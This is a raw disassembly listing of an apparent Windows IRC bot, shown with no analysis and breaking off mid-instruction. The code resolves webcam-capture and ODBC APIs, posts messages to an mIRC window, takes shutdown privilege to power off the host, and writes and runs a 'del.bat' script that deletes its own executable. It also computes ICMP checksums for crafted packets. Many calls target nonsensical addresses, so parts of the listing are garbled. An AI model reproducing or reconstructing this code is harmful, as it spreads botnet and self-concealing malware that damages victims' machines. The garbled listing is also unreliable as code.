sub_40981F+B86j mov dword_43F780, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43F6A4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43F6F0, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43F62C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43F5EC, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43F684, eax call esi cmp dword_43F6A4, ebx mov dword_43F5F8, eax jz short loc_40A450 cmp dword_43F6F0, ebx jz short loc_40A450 cmp dword_43F62C, ebx jz short loc_40A450 cmp dword_43F5EC, ebx jz short loc_40A450 cmp dword_43F684, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j nop call near ptr 2630B7Ah mov dword_43F78C, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43F788, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43F5C0, eax call esi cmp dword_43F5C0, ebx mov dword_43F698, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j nop call near ptr 2630B7Ah mov dword_43F794, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43F790, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43F728, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43F72C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43F730, esi jz short loc_40A528 push dword_43F734 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43F738, esi jz short loc_40A55C push dword_43F73C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43F740, esi jz short loc_40A590 push dword_43F744 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43F748, esi jz short loc_40A5C4 push dword_43F74C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43F750, esi jz short loc_40A5F8 push dword_43F754 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43F758, esi jz short loc_40A62C push dword_43F75C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43F760, esi jz short loc_40A660 push dword_43F764 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43F768, esi jz short loc_40A694 push dword_43F76C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43F770, esi jz short loc_40A6C8 push dword_43F774 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43F778, esi jz short loc_40A6FC push dword_43F77C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43F780, esi jz short loc_40A730 push dword_43F784 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43F788, esi jz short loc_40A764 push dword_43F78C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43F790, esi jz short loc_40A798 push dword_43F794 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Ep ; sub_40EE72+4AF7p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2630B7Ah mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 2710000h nop lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43F798 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43F638 test eax, eax jz short loc_40AAF6 push 1 call dword_43F658 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 2720699h push esi mov edi, eax nop call near ptr 2720000h call dword_43F6BC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48C1p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43F674 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2730000h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2570000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43F6C4 push esi push 1 push 4C9h push ebp call dword_43F6C4 push ebx call near ptr 2720BB2h nop push edi nop call near ptr 2610978h push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: ___:0040E8BBp var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43F724 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2740000h push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 2730640h nop push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43F5B0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43F738, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h nop call near ptr 27511B2h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 2630846h nop mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi nop call near ptr 2620000h push edi nop call near ptr 2610978h push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43C80C mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2700E3Fh push eax nop call near ptr 2640000h lea eax, [ebp+var_15C] push eax nop call near ptr 26702C6h cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2751020h loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2750000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 274060Ah loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43F6EC test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43F590 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43F6E4 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43F6E4 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43F6E0 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43F60C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43F99C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43F5F4 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43F6A8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43F6EC cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_40B0AC loc_40B086: ; CODE XREF: sub_40AF86+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push 